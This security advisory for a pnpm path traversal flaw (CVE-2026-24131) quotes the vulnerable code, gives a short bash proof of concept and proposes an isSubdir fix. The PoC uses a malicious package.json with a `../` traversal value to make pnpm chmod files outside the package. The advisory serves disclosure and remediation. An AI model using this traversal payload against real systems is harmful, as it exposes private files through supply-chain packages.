CVE-2026-24131

EPSS 0.01%

pnpm has Path Traversal via arbitrary file permission modification

Published: 1/26/2026Modified: 2/3/2026
Also known as:GHSA-v253-rj99-jwpq

Description

### Summary When pnpm processes a package's `directories.bin` field, it uses `path.join()` without validating the result stays within the package root. A malicious npm package can specify `"directories": {"bin": "../../../../tmp"}` to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations. **Note:** Only affects Unix/Linux/macOS. Windows is not affected (`fixBin` gated by `EXECUTABLE_SHEBANG_SUPPORTED`). ### Details Vulnerable code in `pkg-manager/package-bins/src/index.ts:15-21`: ```typescript if (manifest.directories?.bin) { const binDir = path.join(pkgPath, manifest.directories.bin) // NO VALIDATION const files = await findFiles(binDir) // ... files outside package returned, then chmod 755'd } ``` The `bin` field IS protected with `isSubdir()` at line 53, but `directories.bin` lacks this check. ### PoC ```bash # Create malicious package mkdir /tmp/malicious-pkg echo '{"name":"malicious","version":"1.0.0","directories":{"bin":"../../../../tmp/target"}}' > /tmp/malicious-pkg/package.json # Create sensitive file mkdir -p /tmp/target echo "secret" > /tmp/target/secret.sh chmod 600 /tmp/target/secret.sh # Private # Install pnpm add file:/tmp/malicious-pkg # Check permissions ls -la /tmp/target/secret.sh # Now 755 (world-readable) ``` ### Impact - Supply-chain attack via npm packages - File permissions changed from 600 to 755 (world-readable) - Affects non-dotfiles in predictable paths (dotfiles excluded by tinyglobby default) ### Suggested Fix Add `isSubdir` validation for `directories.bin` paths in `pkg-manager/package-bins/src/index.ts`, matching the existing validation in `commandsFromBin()`: ```typescript if (manifest.directories?.bin) { const binDir = path.join(pkgPath, manifest.directories.bin) if (!isSubdir(pkgPath, binDir)) { return [] // Reject paths outside package } // ... } ```

Affected packages (1)

CVSS scores

SourceVersionSeverityVector
osvCVSS 4.0CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References (4)